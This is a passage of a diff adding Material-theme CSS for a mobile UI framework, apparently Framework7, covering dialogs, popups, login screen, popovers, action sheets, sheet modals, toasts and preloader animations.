transform: translate3d(0, 0, 0) scale(0.815); +} +.md .dialog-inner { + padding: 24px 24px 20px; +} +.md .dialog-title { + font-size: 20px; + color: #212121; + line-height: 1.3; +} +.md .dialog-title + .dialog-text { + margin-top: 20px; +} +.md .dialog-text { + line-height: 1.5; +} +.md .dialog-buttons { + height: 48px; + padding: 6px 8px; + overflow: hidden; + -webkit-box-sizing: border-box; + box-sizing: border-box; + -webkit-box-pack: end; + -webkit-justify-content: flex-end; + -ms-flex-pack: end; + justify-content: flex-end; +} +.md .dialog-buttons-vertical .dialog-buttons { + padding: 0 0 8px 0; +} +.md .dialog-buttons-vertical .dialog-buttons .dialog-button { + margin-left: 0; + text-align: right; + height: 48px; + line-height: 48px; + border-radius: 0; + padding-left: 16px; + padding-right: 16px; +} +.md .dialog-button { + text-decoration: none; + text-align: center; + display: block; + -webkit-appearance: none; + -moz-appearance: none; + appearance: none; + background: none; + padding: 0 10px; + margin: 0; + white-space: nowrap; + text-overflow: ellipsis; + font-size: 14px; + position: relative; + overflow: hidden; + font-family: inherit; + cursor: pointer; + outline: 0; + -webkit-box-sizing: border-box; + box-sizing: border-box; + vertical-align: middle; + color: #2196f3; + border-radius: 4px; + line-height: 36px; + height: 36px; + text-transform: uppercase; + min-width: 64px; + padding: 0 8px; + border: none; + -webkit-transition-duration: 300ms; + transition-duration: 300ms; + -webkit-transform: translate3d(0, 0, 0); + transform: translate3d(0, 0, 0); + letter-spacing: 0.03em; + font-weight: 500; +} +input[type="submit"].md .dialog-button, +input[type="button"].md .dialog-button { + width: 100%; +} +.md .dialog-button.active-state { + background: rgba(0, 0, 0, 0.1); +} +.md .dialog-button.dialog-button-bold { + font-weight: 700; +} +.md .dialog-button + .dialog-button { + margin-left: 4px; +} +.md .dialog-input { + height: 36px; + padding: 0; + border: none; + font-size: 16px; + -webkit-transition-duration: 200ms; + transition-duration: 200ms; + position: relative; +} +.md .dialog-input::-webkit-input-placeholder { + color: rgba(0, 0, 0, 0.35); +} +.md .dialog-input:-ms-input-placeholder { + color: rgba(0, 0, 0, 0.35); +} +.md .dialog-input::-ms-input-placeholder { + color: rgba(0, 0, 0, 0.35); +} +.md .dialog-input::placeholder { + color: rgba(0, 0, 0, 0.35); +} +.md .dialog-input + .dialog-input { + margin-top: 16px; +} +.md .dialog-preloader .dialog-title, +.md .dialog-progress .dialog-title, +.md .dialog-preloader .dialog-inner, +.md .dialog-progress .dialog-inner { + text-align: center; +} +.md .dialog-preloader .dialog-title ~ .preloader, +.md .dialog-preloader .dialog-text ~ .preloader { + margin-top: 20px; +} +.md .dialog-progress .dialog-title ~ .progressbar, +.md .dialog-progress .dialog-text ~ .progressbar, +.md .dialog-progress .dialog-title ~ .progressbar-infinite, +.md .dialog-progress .dialog-text ~ .progressbar-infinite { + margin-top: 16px; +} +.md .dialog-button.color-red { + color: #f44336; +} +.md .dialog-button.color-green { + color: #4caf50; +} +.md .dialog-button.color-blue { + color: #2196f3; +} +.md .dialog-button.color-pink { + color: #e91e63; +} +.md .dialog-button.color-yellow { + color: #ffeb3b; +} +.md .dialog-button.color-orange { + color: #ff9800; +} +.md .dialog-button.color-gray { + color: #9e9e9e; +} +.md .dialog-button.color-white { + color: #ffffff; +} +.md .dialog-button.color-black { + color: #000000; +} +/* === Popup === */ +.popup-backdrop { + position: absolute; + left: 0; + top: 0; + width: 100%; + height: 100%; + background: rgba(0, 0, 0, 0.4); + z-index: 13000; + visibility: hidden; + opacity: 0; + -webkit-transition-duration: 400ms; + transition-duration: 400ms; + z-index: 10500; +} +.popup-backdrop.not-animated { + -webkit-transition-duration: 0ms; + transition-duration: 0ms; +} +.popup-backdrop.backdrop-in { + visibility: visible; + opacity: 1; +} +.popup { + position: absolute; + left: 0; + top: 0; + width: 100%; + height: 100%; + display: none; + -webkit-box-sizing: border-box; + box-sizing: border-box; + -webkit-transition-property: -webkit-transform; + transition-property: -webkit-transform; + transition-property: transform; + transition-property: transform, -webkit-transform; + -webkit-transform: translate3d(0, 100%, 0); + transform: translate3d(0, 100%, 0); + background: #fff; + z-index: 11000; +} +.popup.modal-in, +.popup.modal-out { + -webkit-transition-duration: 400ms; + transition-duration: 400ms; +} +.popup.not-animated { + -webkit-transition-duration: 0ms; + transition-duration: 0ms; +} +.popup.modal-in { + display: block; + -webkit-transform: translate3d(0, 0, 0); + transform: translate3d(0, 0, 0); +} +.popup.modal-out { + -webkit-transform: translate3d(0, 100%, 0); + transform: translate3d(0, 100%, 0); +} +@media (min-width: 630px) and (min-height: 630px) { + .popup:not(.popup-tablet-fullscreen) { + width: 630px; + height: 630px; + left: 50%; + top: 50%; + margin-left: -315px; + margin-top: -315px; + -webkit-transform: translate3d(0, 100vh, 0); + transform: translate3d(0, 100vh, 0); + } + .popup:not(.popup-tablet-fullscreen).modal-in { + -webkit-transform: translate3d(0, 0, 0); + transform: translate3d(0, 0, 0); + } + .popup:not(.popup-tablet-fullscreen).modal-out { + -webkit-transform: translate3d(0, 100vh, 0); + transform: translate3d(0, 100vh, 0); + } +} +@media (max-width: 629px), (max-height: 629px) { + html.with-statusbar .popup-backdrop { + z-index: 9500; + } + html.with-statusbar.device-ios .popup, + html.with-statusbar.ios:not(.device-ios):not(.device-android) .popup { + height: calc(100% - 20px); + top: 20px; + } + html.with-statusbar.device-iphone-x .popup { + height: calc(100% - constant(safe-area-inset-top)); + height: calc(100% - env(safe-area-inset-top)); + top: constant(safe-area-inset-top); + top: env(safe-area-inset-top); + } + html.with-statusbar.device-android .popup, + html.with-statusbar.md:not(.device-ios):not(.device-android) .popup { + height: calc(100% - 24px); + top: 24px; + } +} +@media (min-width: 630px), (min-height: 630px) { + html.with-statusbar.device-ios .popup-tablet-fullscreen, + html.with-statusbar.ios:not(.device-ios):not(.device-android) .popup-tablet-fullscreen { + height: calc(100% - 20px); + top: 20px; + } + html.with-statusbar.device-iphone-x .popup-tablet-fullscreen { + height: calc(100% - constant(safe-area-inset-top)); + height: calc(100% - env(safe-area-inset-top)); + top: constant(safe-area-inset-top); + top: env(safe-area-inset-top); + } + html.with-statusbar.device-android .popup-tablet-fullscreen, + html.with-statusbar.md:not(.device-ios):not(.device-android) .popup-tablet-fullscreen { + height: calc(100% - 24px); + top: 24px; + } +} +html.with-modal-popup .framework7-root > .views .page-content, +html.with-modal-popup .framework7-root > .view .page-content, +html.with-modal-popup .framework7-root > .panel .page-content { + overflow: hidden; + -webkit-overflow-scrolling: auto; +} +@media (min-width: 630px) and (min-height: 630px) { + .md .popup:not(.popup-tablet-fullscreen) { + -webkit-box-shadow: 0px 20px 44px rgba(0, 0, 0, 0.5); + box-shadow: 0px 20px 44px rgba(0, 0, 0, 0.5); + } +} +/* === Login Screen === */ +.login-screen { + position: absolute; + left: 0; + top: 0; + width: 100%; + height: 100%; + display: none; + -webkit-box-sizing: border-box; + box-sizing: border-box; + -webkit-transition-property: -webkit-transform; + transition-property: -webkit-transform; + transition-property: transform; + transition-property: transform, -webkit-transform; + -webkit-transform: translate3d(0, 100%, 0); + transform: translate3d(0, 100%, 0); + background: #fff; + z-index: 11000; +} +.login-screen.modal-in, +.login-screen.modal-out { + -webkit-transition-duration: 400ms; + transition-duration: 400ms; +} +.login-screen.not-animated { + -webkit-transition-duration: 0ms; + transition-duration: 0ms; +} +.login-screen.modal-in { + display: block; + -webkit-transform: translate3d(0, 0, 0); + transform: translate3d(0, 0, 0); +} +.login-screen.modal-out { + -webkit-transform: translate3d(0, 100%, 0); + transform: translate3d(0, 100%, 0); +} +html.with-statusbar.device-ios .login-screen, +html.with-statusbar.ios:not(.device-ios):not(.device-android) .login-screen { + height: calc(100% - 20px); + top: 20px; +} +html.with-statusbar.device-iphone-x .login-screen { + height: calc(100% - constant(safe-area-inset-top)); + height: calc(100% - env(safe-area-inset-top)); + top: constant(safe-area-inset-top); + top: env(safe-area-inset-top); +} +html.with-statusbar.device-android .login-screen, +html.with-statusbar.md:not(.device-ios):not(.device-android) .login-screen { + height: calc(100% - 24px); + top: 24px; +} +.login-screen-content { + background: #fff; +} +.login-screen-content .login-screen-title, +.login-screen-content .list, +.login-screen-content .block, +.login-screen-content .block-footer, +.login-screen-content .block-header { + max-width: 480px; +} +.login-screen-content .list ul { + background: none; +} +.login-screen-content .list ul:before { + display: none !important; +} +.login-screen-content .list ul:after { + display: none !important; +} +.login-screen-content .block-footer, +.login-screen-content .block-header { + text-align: center; + margin-left: auto; + margin-right: auto; +} +.login-screen-title { + text-align: center; +} +.md .login-screen-content .login-screen-title, +.md .login-screen-content .list, +.md .login-screen-content .block { + margin: 24px auto; +} +.md .login-screen-content .list-button { + text-align: center; + color: #2196f3; +} +.md .login-screen-title { + font-size: 34px; +} +.md .theme-dark .login-screen-content, +.login-screen-content.md .theme-dark { + background: none; +} +.md .color-theme-red .login-screen-content .list-button { + color: #f44336; +} +.md .color-theme-green .login-screen-content .list-button { + color: #4caf50; +} +.md .color-theme-blue .login-screen-content .list-button { + color: #2196f3; +} +.md .color-theme-pink .login-screen-content .list-button { + color: #e91e63; +} +.md .color-theme-yellow .login-screen-content .list-button { + color: #ffeb3b; +} +.md .color-theme-orange .login-screen-content .list-button { + color: #ff9800; +} +.md .color-theme-gray .login-screen-content .list-button { + color: #9e9e9e; +} +.md .color-theme-white .login-screen-content .list-button { + color: #ffffff; +} +.md .color-theme-black .login-screen-content .list-button { + color: #000000; +} +.md .login-screen-content .list-button.color-red { + color: #f44336; +} +.md .login-screen-content .list-button.color-green { + color: #4caf50; +} +.md .login-screen-content .list-button.color-blue { + color: #2196f3; +} +.md .login-screen-content .list-button.color-pink { + color: #e91e63; +} +.md .login-screen-content .list-button.color-yellow { + color: #ffeb3b; +} +.md .login-screen-content .list-button.color-orange { + color: #ff9800; +} +.md .login-screen-content .list-button.color-gray { + color: #9e9e9e; +} +.md .login-screen-content .list-button.color-white { + color: #ffffff; +} +.md .login-screen-content .list-button.color-black { + color: #000000; +} +/* === Popover === */ +.popover-backdrop { + position: absolute; + left: 0; + top: 0; + width: 100%; + height: 100%; + background: rgba(0, 0, 0, 0.4); + z-index: 13000; + visibility: hidden; + opacity: 0; + -webkit-transition-duration: 400ms; + transition-duration: 400ms; +} +.popover-backdrop.not-animated { + -webkit-transition-duration: 0ms; + transition-duration: 0ms; +} +.popover-backdrop.backdrop-in { + visibility: visible; + opacity: 1; +} +.popover { + width: 260px; + z-index: 13500; + margin: 0; + top: 0; + opacity: 0; + left: 0; + position: absolute; + display: none; + -webkit-transition-duration: 300ms; + transition-duration: 300ms; +} +.popover .list { + margin: 0; +} +.popover .list ul { + background: none; +} +.popover .list:first-child ul:before { + display: none !important; +} +.popover .list:last-child ul:after { + display: none !important; +} +.popover.modal-in { + opacity: 1; +} +.popover.not-animated { + -webkit-transition-duration: 0ms; + transition-duration: 0ms; +} +.popover-inner { + overflow: auto; + -webkit-overflow-scrolling: touch; +} +.popover-from-actions-bold { + font-weight: 600; +} +.popover-from-actions-label { + line-height: 1.3; + position: relative; +} +.popover-from-actions-label:last-child:after { + display: none !important; +} +.md .popover { + background: #fff; + border-radius: 4px; + -webkit-box-shadow: 0px 5px 5px -3px rgba(0, 0, 0, 0.2), 0px 8px 10px 1px rgba(0, 0, 0, 0.14), 0px 3px 14px 2px rgba(0, 0, 0, 0.12); + box-shadow: 0px 5px 5px -3px rgba(0, 0, 0, 0.2), 0px 8px 10px 1px rgba(0, 0, 0, 0.14), 0px 3px 14px 2px rgba(0, 0, 0, 0.12); + -webkit-transform: scale(0.85, 0.6); + transform: scale(0.85, 0.6); + -webkit-transition-property: opacity, border-radius, -webkit-transform; + transition-property: opacity, border-radius, -webkit-transform; + transition-property: opacity, transform, border-radius; + transition-property: opacity, transform, border-radius, -webkit-transform; +} +.md .popover.modal-in { + opacity: 1; + -webkit-transform: scale(1); + transform: scale(1); +} +.md .popover.modal-out { + opacity: 0; + -webkit-transform: scale(1); + transform: scale(1); +} +.md .popover .list:first-child ul { + border-radius: 3px 3px 0 0; +} +.md .popover .list:first-child li:first-child, +.md .popover .list:first-child li:first-child a, +.md .popover .list:first-child li:first-child > label { + border-radius: 3px 3px 0 0; +} +.md .popover .list:last-child ul { + border-radius: 0 0 3px 3px; +} +.md .popover .list:last-child li:last-child, +.md .popover .list:last-child li:last-child a, +.md .popover .list:last-child li:last-child > label { + border-radius: 0 0 3px 3px; +} +.md .popover .list:first-child:last-child li:first-child:last-child, +.md .popover .list:first-child:last-child li:first-child:last-child a, +.md .popover .list:first-child:last-child li:first-child:last-child > label, +.md .popover .list:first-child:last-child ul { + border-radius: 13px; +} +.md .popover .list + .list { + margin-top: 35px; +} +.md .popover-on-top { + -webkit-transform-origin: center bottom; + transform-origin: center bottom; +} +.md .popover-on-bottom { + -webkit-transform-origin: center top; + transform-origin: center top; +} +.md .popover-from-actions .list { + margin: 0; +} +.md .popover-from-actions .item-link i.icon { + width: 24px; + height: 24px; + font-size: 24px; +} +.md .popover-from-actions-label { + padding: 8px 16px; + color: rgba(0, 0, 0, 0.54); + padding-top: 12px; + padding-bottom: 12px; +} +.md .popover-from-actions-label:after { + content: ''; + position: absolute; + background-color: #d2d2d6; + display: block; + z-index: 15; + top: auto; + right: auto; + bottom: 0; + left: 0; + height: 1px; + width: 100%; + -webkit-transform-origin: 50% 100%; + transform-origin: 50% 100%; +} +.md.device-pixel-ratio-2 .popover-from-actions-label:after { + -webkit-transform: scaleY(0.5); + transform: scaleY(0.5); +} +.md.device-pixel-ratio-3 .popover-from-actions-label:after { + -webkit-transform: scaleY(0.33); + transform: scaleY(0.33); +} +.md .theme-dark .popover { + background-color: #202020; +} +.md .theme-dark .popover-from-actions-label { + color: rgba(255, 255, 255, 0.54); +} +.md .theme-dark .popover-from-actions-label:after { + background-color: rgba(255, 255, 255, 0.08); +} +/* === Actions === */ +.actions-backdrop { + position: absolute; + left: 0; + top: 0; + width: 100%; + height: 100%; + background: rgba(0, 0, 0, 0.4); + z-index: 13000; + visibility: hidden; + opacity: 0; + -webkit-transition-duration: 400ms; + transition-duration: 400ms; +} +.actions-backdrop.not-animated { + -webkit-transition-duration: 0ms; + transition-duration: 0ms; +} +.actions-backdrop.backdrop-in { + visibility: visible; + opacity: 1; +} +.actions-modal { + position: absolute; + left: 0; + bottom: 0; + z-index: 13500; + width: 100%; + -webkit-transform: translate3d(0, 100%, 0); + transform: translate3d(0, 100%, 0); + display: none; + max-height: 100%; + overflow: auto; + -webkit-overflow-scrolling: touch; + -webkit-transition-property: -webkit-transform; + transition-property: -webkit-transform; + transition-property: transform; + transition-property: transform, -webkit-transform; +} +.actions-modal.modal-in, +.actions-modal.modal-out { + -webkit-transition-duration: 300ms; + transition-duration: 300ms; +} +.actions-modal.not-animated { + -webkit-transition-duration: 0ms; + transition-duration: 0ms; +} +.actions-modal.modal-in { + -webkit-transform: translate3d(0, 0, 0); + transform: translate3d(0, 0, 0); +} +.actions-modal.modal-out { + z-index: 13499; + -webkit-transform: translate3d(0, 100%, 0); + transform: translate3d(0, 100%, 0); +} +@media (min-width: 496px) { + .actions-modal { + width: 480px; + left: 50%; + margin-left: -240px; + } +} +.actions-group { + position: relative; +} +.actions-button, +.actions-label { + width: 100%; + font-weight: normal; + margin: 0; + -webkit-box-sizing: border-box; + box-sizing: border-box; + display: block; + position: relative; +} +.actions-button a, +.actions-label a { + text-decoration: none; + color: inherit; + display: block; +} +.actions-button b, +.actions-label b, +.actions-button.actions-button-bold, +.actions-label.actions-button-bold { + font-weight: 500; +} +.actions-button { + cursor: pointer; + display: -webkit-box; + display: -webkit-flex; + display: -ms-flexbox; + display: flex; +} +.actions-button-media { + -webkit-flex-shrink: 0; + -ms-flex-negative: 0; + flex-shrink: 0; + display: -webkit-box; + display: -webkit-flex; + display: -ms-flexbox; + display: flex; + -webkit-box-align: center; + -webkit-align-items: center; + -ms-flex-align: center; + align-items: center; +} +.actions-button-text { + width: 100%; + -webkit-flex-shrink: 1; + -ms-flex-negative: 1; + flex-shrink: 1; +} +.actions-label { + line-height: 1.3; + display: -webkit-box; + display: -webkit-flex; + display: -ms-flexbox; + display: flex; + -webkit-box-align: center; + -webkit-align-items: center; + -ms-flex-align: center; + align-items: center; +} +.actions-grid .actions-group { + display: -webkit-box; + display: -webkit-flex; + display: -ms-flexbox; + display: flex; + -webkit-flex-wrap: wrap; + -ms-flex-wrap: wrap; + flex-wrap: wrap; + -webkit-box-pack: start; + -webkit-justify-content: flex-start; + -ms-flex-pack: start; + justify-content: flex-start; +} +.actions-grid .actions-button { + width: 33.33333333%; + display: block; +} +.actions-grid .actions-button-media { + margin-left: auto; + margin-right: auto; +} +.actions-grid .actions-button-text { + margin-left: 0 !important; + text-align: center; +} +.md .actions-modal { + background: #fff; +} +.md .actions-group:last-child:after { + display: none !important; +} +.md .actions-group:after { + content: ''; + position: absolute; + background-color: #d2d2d6; + display: block; + z-index: 15; + top: auto; + right: auto; + bottom: 0; + left: 0; + height: 1px; + width: 100%; + -webkit-transform-origin: 50% 100%; + transform-origin: 50% 100%; +} +.md.device-pixel-ratio-2 .actions-group:after { + -webkit-transform: scaleY(0.5); + transform: scaleY(0.5); +} +.md.device-pixel-ratio-3 .actions-group:after { + -webkit-transform: scaleY(0.33); + transform: scaleY(0.33); +} +.md .actions-button, +.md .actions-label { + padding: 0 16px; +} +.md .actions-button { + line-height: 48px; + font-size: 16px; + color: rgba(0, 0, 0, 0.87); + -webkit-transition-duration: 300ms; + transition-duration: 300ms; + -webkit-box-pack: justify; + -webkit-justify-content: space-between; + -ms-flex-pack: justify; + justify-content: space-between; +} +.md .actions-button a, +.md .actions-button { + position: relative; + overflow: hidden; + white-space: nowrap; + text-overflow: ellipsis; +} +.md .actions-button a.active-state, +.md .actions-button.active-state { + background: rgba(0, 0, 0, 0.1); +} +.md .actions-button-media { + min-width: 40px; +} +.md .actions-button-media i.icon { + width: 24px; + height: 24px; + font-size: 24px; +} +.md .actions-button-media + .actions-button-text { + margin-left: 16px; +} +.md .actions-label { + font-size: 16px; + color: rgba(0, 0, 0, 0.54); + padding-top: 12px; + padding-bottom: 12px; + -webkit-box-pack: start; + -webkit-justify-content: flex-start; + -ms-flex-pack: start; + justify-content: flex-start; +} +.md .actions-grid { + padding: 0; +} +.md .actions-grid .actions-button-media { + width: 48px; + height: 48px; +} +.md .actions-grid .actions-button-media i.icon { + width: 48px; + height: 48px; + font-size: 48px; +} +.md .actions-grid .actions-button { + padding: 16px; + line-height: 1; +} +.md .actions-grid .actions-button-text { + margin-top: 8px; + line-height: 16px; + height: 16px; + font-size: 12px; + color: #757575; +} +.md .actions-button.color-red, +.md .actions-label.color-red, +.md .actions-button.color-red .actions-button-text { + color: #f44336; +} +.md .actions-button.color-green, +.md .actions-label.color-green, +.md .actions-button.color-green .actions-button-text { + color: #4caf50; +} +.md .actions-button.color-blue, +.md .actions-label.color-blue, +.md .actions-button.color-blue .actions-button-text { + color: #2196f3; +} +.md .actions-button.color-pink, +.md .actions-label.color-pink, +.md .actions-button.color-pink .actions-button-text { + color: #e91e63; +} +.md .actions-button.color-yellow, +.md .actions-label.color-yellow, +.md .actions-button.color-yellow .actions-button-text { + color: #ffeb3b; +} +.md .actions-button.color-orange, +.md .actions-label.color-orange, +.md .actions-button.color-orange .actions-button-text { + color: #ff9800; +} +.md .actions-button.color-gray, +.md .actions-label.color-gray, +.md .actions-button.color-gray .actions-button-text { + color: #9e9e9e; +} +.md .actions-button.color-white, +.md .actions-label.color-white, +.md .actions-button.color-white .actions-button-text { + color: #ffffff; +} +.md .actions-button.color-black, +.md .actions-label.color-black, +.md .actions-button.color-black .actions-button-text { + color: #000000; +} +.md.device-iphone-x .actions-modal.modal-in { + padding-bottom: constant(safe-area-inset-bottom); + padding-bottom: env(safe-area-inset-bottom); +} +/* === Sheet Modal === */ +.sheet-backdrop { + position: absolute; + left: 0; + top: 0; + width: 100%; + height: 100%; + background: rgba(0, 0, 0, 0.4); + z-index: 13000; + visibility: hidden; + opacity: 0; + -webkit-transition-duration: 400ms; + transition-duration: 400ms; + z-index: 10500; +} +.sheet-backdrop.not-animated { + -webkit-transition-duration: 0ms; + transition-duration: 0ms; +} +.sheet-backdrop.backdrop-in { + visibility: visible; + opacity: 1; +} +.sheet-modal { + position: absolute; + left: 0; + bottom: 0; + width: 100%; + height: 260px; + display: none; + -webkit-box-sizing: border-box; + box-sizing: border-box; + -webkit-transition-property: -webkit-transform; + transition-property: -webkit-transform; + transition-property: transform; + transition-property: transform, -webkit-transform; + -webkit-transform: translate3d(0, 100%, 0); + transform: translate3d(0, 100%, 0); + background: #fff; + z-index: 12500; +} +.sheet-modal.modal-in, +.sheet-modal.modal-out { + -webkit-transition-duration: 300ms; + transition-duration: 300ms; +} +.sheet-modal.not-animated { + -webkit-transition-duration: 0ms; + transition-duration: 0ms; +} +.sheet-modal.modal-in { + display: block; + -webkit-transform: translate3d(0, 0, 0); + transform: translate3d(0, 0, 0); +} +.sheet-modal.modal-out { + -webkit-transform: translate3d(0, 100%, 0); + transform: translate3d(0, 100%, 0); +} +.sheet-modal .sheet-modal-inner { + height: 100%; + position: relative; + overflow: hidden; +} +.sheet-modal .toolbar { + position: relative; + width: 100%; +} +.md .sheet-modal { + background: #fff; +} +.md .sheet-modal .toolbar { + top: 0; +} +.md .sheet-modal .toolbar:after { + display: none; +} +.md .sheet-modal .toolbar + .sheet-modal-inner { + height: calc(100% - 48px); +} +.md .sheet-modal .toolbar a.link:not(.tab-link) { + -webkit-flex-shrink: 0; + -ms-flex-negative: 0; + flex-shrink: 0; +} +.md .sheet-modal .toolbar:not(.toolbar-bottom-md):not(.messagebar) ~ .sheet-modal-inner .page-content { + padding-top: 0; +} +.md.device-iphone-x .sheet-modal .toolbar ~ .sheet-modal-inner .page-content, +.md.device-iphone-x .sheet-modal .sheet-modal-inner > .page-content { + padding-bottom: constant(safe-area-inset-bottom); + padding-bottom: env(safe-area-inset-bottom); +} +.md .theme-dark .sheet-modal { + background-color: #202020; +} +/* === Toast === */ +.toast { + -webkit-transition-property: opacity, -webkit-transform; + transition-property: opacity, -webkit-transform; + transition-property: transform, opacity; + transition-property: transform, opacity, -webkit-transform; + position: absolute; + max-width: 568px; + z-index: 20000; + color: #fff; + font-size: 14px; + -webkit-box-sizing: border-box; + box-sizing: border-box; +} +.toast.modal-in { + opacity: 1; +} +.toast .toast-content { + display: -webkit-box; + display: -webkit-flex; + display: -ms-flexbox; + display: flex; + -webkit-box-pack: justify; + -webkit-justify-content: space-between; + -ms-flex-pack: justify; + justify-content: space-between; + -webkit-box-align: center; + -webkit-align-items: center; + -ms-flex-align: center; + align-items: center; + -webkit-box-sizing: border-box; + box-sizing: border-box; +} +.toast .toast-text { + line-height: 20px; + -webkit-flex-shrink: 1; + -ms-flex-negative: 1; + flex-shrink: 1; + min-width: 0; +} +.toast .toast-button { + -webkit-flex-shrink: 0; + -ms-flex-negative: 0; + flex-shrink: 0; +} +.toast.toast-with-icon .toast-content { + display: block; + text-align: center; +} +.toast.toast-with-icon .toast-text { + text-align: center; +} +.toast.toast-with-icon .toast-icon .f7-icons { + font-size: 50px; + width: 50px; + height: 50px; +} +.toast.toast-with-icon .toast-icon .material-icons { + font-size: 48px; + width: 48px; + height: 48px; +} +.toast.toast-center { + top: 50%; + opacity: 0; +} +@media (min-width: 1024px) { + .toast { + opacity: 0; + } +} +html.with-statusbar.device-ios .toast-top, +html.with-statusbar.ios:not(.device-ios):not(.device-android) .toast-top { + margin-top: 20px; +} +html.with-statusbar.device-iphone-x .toast-top { + margin-top: constant(safe-area-inset-top); + margin-top: env(safe-area-inset-top); +} +html.with-statusbar.device-android .toast-top, +html.with-statusbar.md:not(.device-ios):not(.device-android) .toast-top { + margin-top: 24px; +} +.md .toast { + -webkit-transition-duration: 200ms; + transition-duration: 200ms; + border-radius: 4px; + background: #323232; + opacity: 0; + left: 8px; + width: calc(100% - 16px); + -webkit-transform: scale(0.9); + transform: scale(0.9); +} +.md .toast.modal-in { + -webkit-transform: scale(1); + transform: scale(1); + opacity: 1; +} +.md .toast.modal-out { + -webkit-transform: scale(1); + transform: scale(1); + opacity: 0; +} +.md .toast.toast-center { + left: 50%; + width: auto; + background: rgba(0, 0, 0, 0.75); + -webkit-transform: scale(0.9) translate3d(-55%, -55%, 0); + transform: scale(0.9) translate3d(-55%, -55%, 0); +} +.md .toast.toast-center.modal-in { + -webkit-transform: scale(1) translate3d(-50%, -50%, 0); + transform: scale(1) translate3d(-50%, -50%, 0); +} +.md .toast.toast-center.modal-out { + -webkit-transform: scale(1) translate3d(-50%, -50%, 0); + transform: scale(1) translate3d(-50%, -50%, 0); +} +.md .toast.toast-bottom { + bottom: 8px; +} +.md .toast.toast-top { + top: 8px; +} +@media (min-width: 584px) { + .md .toast { + left: 50%; + margin-left: -284px; + } + .md .toast.toast-center { + margin-left: 0; + } +} +@media (min-width: 1024px) { + .md .toast { + margin-left: 0; + width: auto; + } + .md .toast.toast-bottom, + .md .toast.toast-top { + left: 24px; + } + .md .toast.toast-bottom { + bottom: 24px; + } + .md .toast.toast-top { + top: 24px; + } +} +.md .toast-content { + padding: 14px 24px; +} +.md .toast-button { + margin-top: -8px; + margin-bottom: -8px; + margin-right: 16px; + margin-left: -8px; +} +@media (max-width: 568px) { + .md.device-iphone-x .toast-bottom .toast-content { + padding-bottom: calc(14px + constant(safe-area-inset-bottom)); + padding-bottom: calc(14px + env(safe-area-inset-bottom)); + } +} +@media (min-width: 1024px) { + .md.device-iphone-x .toast-bottom.modal-in { + margin-bottom: constant(safe-area-inset-bottom); + margin-bottom: env(safe-area-inset-bottom); + } +} +/* === Preloader === */ +.preloader { + display: inline-block; + vertical-align: middle; +} +/* === Preloader Modal === */ +.preloader-backdrop { + position: absolute; + left: 0; + top: 0; + width: 100%; + height: 100%; + background: rgba(0, 0, 0, 0.4); + z-index: 13000; + visibility: hidden; + -webkit-transition-duration: 400ms; + transition-duration: 400ms; + visibility: visible; + opacity: 0; + background: none; +} +.preloader-backdrop.not-animated { + -webkit-transition-duration: 0ms; + transition-duration: 0ms; +} +.preloader-backdrop.backdrop-in { + visibility: visible; + opacity: 1; +} +.preloader-modal { + position: absolute; + left: 50%; + top: 50%; + padding: 8px; + background: rgba(0, 0, 0, 0.8); + z-index: 13500; + -webkit-transform: translateX(-50%) translateY(-50%); + transform: translateX(-50%) translateY(-50%); +} +.preloader-modal .preloader { + display: block !important; +} +html.with-modal-preloader .page-content { + overflow: hidden; + -webkit-overflow-scrolling: auto; +} +.md .preloader { + font-size: 0; + display: inline-block; + width: 32px; + height: 32px; + -webkit-animation: md-preloader-outer 3300ms linear infinite; + animation: md-preloader-outer 3300ms linear infinite; +} +@-webkit-keyframes md-preloader-outer { + 0% { + -webkit-transform: rotate(0); + transform: rotate(0); + } + 100% { + -webkit-transform: rotate(360deg); + transform: rotate(360deg); + } +} +@keyframes md-preloader-outer { + 0% { + -webkit-transform: rotate(0); + transform: rotate(0); + } + 100% { + -webkit-transform: rotate(360deg); + transform: rotate(360deg); + } +} +.md .preloader-inner { + position: relative; + display: block; + width: 100%; + height: 100%; + -webkit-animation: md-preloader-inner-rotate 5.25s cubic-bezier(0.35, 0, 0.25, 1) infinite; + animation: md-preloader-inner-rotate 5.25s cubic-bezier(0.35, 0, 0.25, 1) infinite; +} +.md .preloader-inner .preloader-inner-gap { + position: absolute; + width: 2px; + left: 50%; + margin-left: -1px; + top: 0; + bottom: 0; + -webkit-box-sizing: border-box; + box-sizing: border-box; + border-top: 4px solid #757575; +} +.md .preloader-inner .preloader-inner-left, +.md .preloader-inner .preloader-inner-right { + position: absolute; + top: 0; + height: 100%; + width: 50%; + overflow: hidden; +} +.md .preloader-inner .preloader-inner-half-circle { + position: absolute; + top: 0; + height: 100%; + width: 200%; + -webkit-box-sizing: border-box; + box-sizing: border-box; + border: 4px solid #757575; + border-bottom-color: transparent !important; + border-radius: 50%; + -webkit-animation-iteration-count: infinite; + animation-iteration-count: infinite; + -webkit-animation-duration: 1.3125s; + animation-duration: 1.3125s; + -webkit-animation-timing-function: cubic-bezier(0.35, 0, 0.25, 1); + animation-timing-function: cubic-bezier(0.35, 0, 0.25, 1); +} +.md .preloader-inner .preloader-inner-left { + left: 0; +} +.md .preloader-inner .preloader-inner-left .preloader-inner-half-circle { + left: 0; + border-right-color: transparent !important; + -webkit-animation-name: md-preloader-left-rotate; + animation-name: md-preloader-left-rotate; +} +.md .preloader-inner .preloader-inner-right { + right: 0; +} +.md .preloader-inner .preloader-inner-right .preloader-inner-half-circle { + right: 0; + border-left-color: transparent !important; + -webkit-animation-name: md-preloader-right-rotate; + animation-name: md-preloader-right-rotate; +} +.md .preloader-modal { + border-radius: 4px; +} +.md .preloader.color-red .preloader-inner-gap, +.md .preloader.preloader-red .preloader-inner-gap, +.md .preloader.color-red .preloader-inner-half-circle, +.md .preloader.preloader-red .preloader-inner-half-circle { + border-color: #f44336; +} +.md .preloader.color-green .preloader-inner-gap, +.md .preloader.preloader-green .preloader-inner-gap, +.md .preloader.color-green .preloader-inner-half-circle, +.md .preloader.preloader-green .preloader-inner-half-circle { + border-color: #4caf50; +} +.md .preloader.color-blue .preloader-inner-gap, +.md .preloader.preloader-blue .preloader-inner-gap, +.md .preloader.color-blue .preloader-inner-half-circle, +.md .preloader.preloader-blue .preloader-inner-half-circle { + border-color: #2196f3; +} +.md .preloader.color-pink .preloader-inner-gap, +.md .preloader.preloader-pink .preloader-inner-gap, +.md .preloader.color-pink .preloader-inner-half-circle, +.md .preloader.preloader-pink .preloader-inner-half-circle { + border-color: #e91e63; +} +.md .preloader.color-yellow .preloader-inner-gap, +.md .preloader.preloader-yellow .preloader-inner-gap, +.md .preloader.color-yellow .preloader-inner-half-circle, +.md .preloader.preloader-yellow 